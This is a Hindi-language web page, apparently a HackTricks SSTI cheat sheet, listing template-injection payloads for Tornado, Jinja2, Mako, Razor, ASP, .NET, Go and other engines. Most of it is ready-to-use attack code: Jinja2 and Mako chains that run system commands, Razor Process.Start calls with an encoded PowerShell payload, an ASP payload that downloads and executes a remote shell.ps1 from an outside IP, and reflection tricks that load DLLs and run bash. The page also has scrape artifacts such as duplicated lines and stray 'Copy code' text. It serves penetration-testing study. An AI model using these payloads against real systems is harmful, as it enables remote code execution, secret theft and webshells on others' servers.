https://miro.medium.com/v2/resize:fit:640/format:webp/1*VeZvEGI6rBP_tH-V0TqAjQ.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*m-iSloHPqRUriLOjpqpDgg.jpeg

Python

python में arbitrary command execution bypassing sandboxes के बारे में ट्रिक्स सीखने के लिए निम्न पृष्ठ देखें:

Bypass Python sandboxes

Tornado (Python)

  • {{7*7}} = 49
  • ${7*7} = ${7*7}
  • {{foobar}} = Error
  • {{7*'7'}} = 7777777
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}







{{os.system('whoami')}}
{{os.system('whoami')}}

अधिक जानकारी

Jinja2 (Python)

Official website

Jinja2 Python के लिए एक पूर्ण सुविधाओं वाला टेम्पलेट इंजन है। इसमें पूर्ण यूनिकोड समर्थन है, एक वैकल्पिक एकीकृत सैंडबॉक्स्ड निष्पादन वातावरण है, व्यापक रूप से उपयोग होता है और BSD लाइसेंस के अंतर्गत है।

  • {{7*7}} = Error
  • ${7*7} = ${7*7}
  • {{foobar}} Nothing
  • {{4*4}}[[5*5]]
  • {{7*'7'}} = 7777777
  • {{config}}
  • {{config.items()}}
  • {{settings.SECRET_KEY}}
  • {{settings}}
  • <div data-gb-custom-block data-tag="debug"></div>
{% raw %}
{% debug %}
{% endraw %}







{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777

Jinja2 - टेम्पलेट प्रारूप

{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


RCE not dependant from __builtins__:

{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}

Jinja का दुरुपयोग कैसे करें — अधिक विवरण:

Jinja2 SSTI

अन्य payloads यहाँ https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2

Mako (Python)

<%
import os
x=os.popen('id').read()
%>
${x}

अधिक जानकारी

Other Python

https://miro.medium.com/v2/resize:fit:640/format:webp/1*3RO051EgizbEer-mdHD8Kg.jpeg

https://miro.medium.com/v2/resize:fit:640/format:webp/1*GY1Tij_oecuDt4EqINNAwg.jpeg

Razor (.Net)

  • @(2+2) <= Success
  • @() <= Success
  • @("{{code}}") <= Success
  • @ <=Success
  • @{} <= ERROR!
  • @{ <= ERRROR!
  • @(1+2)
  • @( //C#Code )
  • @System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");
  • @System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");

The .NET System.Diagnostics.Process.Start method का उपयोग सर्वर पर किसी भी प्रक्रिया को शुरू करने के लिए किया जा सकता है और इस प्रकार webshell बनाया जा सकता है। आप एक vulnerable webapp उदाहरण https://github.com/cnotin/RazorVulnerableApp में पा सकते हैं

अधिक जानकारी

ASP

  • <%= 7*7 %> = 49
  • <%= "foo" %> = foo
  • <%= foo %> = Nothing
  • <%= response.write(date()) %> = <Date>
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>

अधिक जानकारी

.Net प्रतिबंधों को बायपास करना

.NET Reflection mechanisms का उपयोग blacklisting को बायपास करने या assembly में classes मौजूद न होने की स्थिति में किया जा सकता है। DLLs को runtime पर load किया जा सकता है और उन methods और properties को basic objects से access किया जा सकता है।

DLLs को निम्न तरीके से load किया जा सकता है:

  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?"))} - फ़ाइलसिस्टम से।
  • {"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("Load", [typeof(byte[])]).Invoke(null, [Convert.FromBase64String("Base64EncodedDll")])} - सीधे request से।

पूर्ण कमांड निष्पादन:

{"a".GetType().Assembly.GetType("System.Reflection.Assembly").GetMethod("LoadFile").Invoke(null, "/path/to/System.Diagnostics.Process.dll".Split("?")).GetType("System.Diagnostics.Process").GetMethods().GetValue(0).Invoke(null, "/bin/bash,-c ""whoami""".Split(","))}

अधिक जानकारी

Mojolicious (Perl)

यह perl होने के बावजूद ERB जैसे टैग्स का उपयोग करता है जैसा Ruby में होता है।

  • <%= 7*7 %> = 49
  • <%= foobar %> = Error
<%= perl code %>
<% perl code %>

SSTI in GO

In Go’s template engine, confirmation of its usage can be done with specific payloads:

  • {{ . }}: डेटा संरचना इनपुट को प्रकट करता है। उदाहरण के लिए, अगर एक ऑब्जेक्ट में Password attribute है और वह पास किया गया है, तो {{ .Password }} उसे उजागर कर सकता है।
  • {{printf "%s" "ssti" }}: अपेक्षित रूप से स्ट्रिंग “ssti” प्रदर्शित करेगा।
  • {{html "ssti"}}, {{js "ssti"}}: ये payloads “ssti” लौटाने चाहिए बिना “html” या “js” जोड़ने के। Further directives को Go documentation में here देखा जा सकता है।

https://miro.medium.com/v2/resize:fit:1100/format:webp/1*rWpWndkQ7R6FycrgZm4h2A.jpeg

XSS Exploitation

text/template package के साथ, XSS सीधे payload insert करके सरल हो सकता है। इसके विपरीत, html/template package response को encode करता है ताकि इसे रोका जा सके (उदा., {{"<script>alert(1)</script>"}} का परिणाम &lt;script&gt;alert(1)&lt;/script&gt; होता है)। हालांकि, Go में template definition और invocation इस encoding को बायपास कर सकते हैं: {{define “T1”}}alert(1){{end}} {{template “T1”}}

vbnet Copy code

RCE Exploitation

RCE exploitation html/template और text/template के बीच काफी अलग होता है। text/template module किसी भी public function को सीधे कॉल करने की अनुमति देता है ("call" value का उपयोग करके), जो html/template में अनुमति नहीं है। इन मॉड्यूल्स के लिए documentation here for html/template और here for text/template पर उपलब्ध है।

Go में SSTI के माध्यम से RCE के लिए, object के methods को invoke किया जा सकता है। उदाहरण के लिए, अगर दिए गए object में कमांड चलाने वाली System method है, तो इसे {{ .System "ls" }} की तरह exploit किया जा सकता है। इसे exploit करने के लिए सामान्यतः source code तक पहुँच आवश्यक होती है, जैसा कि दिए गए उदाहरण में है:

func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}

अधिक जानकारी

LESS (CSS प्री-प्रोसेसर)

LESS एक लोकप्रिय CSS प्री-प्रोसेसर है जो variables, mixins, functions और शक्तिशाली @import directive जोड़ता है। संकलन के दौरान LESS engine @import में संदर्भित संसाधनों को fetch करेगा और (inline) विकल्प उपयोग होने पर उनके contents को परिणामस्वरूप CSS में embed (“inline”) कर देगा।

{{#ref}} ../xs-search/css-injection/less-code-injection.md {{/ref}}

अधिक Exploits

अधिक exploits के लिए https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection के बाकी हिस्से देखें। साथ ही आप रुचिकर tags जानकारी https://github.com/DiogoMRSilva/websitesVulnerableToSSTI में पा सकते हैं।

BlackHat PDF

संबंधित सहायता

यदि आपको यह उपयोगी लगे तो पढ़ें:

टूल्स

Brute-Force डिटेक्शन सूची

https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt

संदर्भ

Tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE) Azure हैकिंग सीखें और अभ्यास करें: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks का समर्थन करें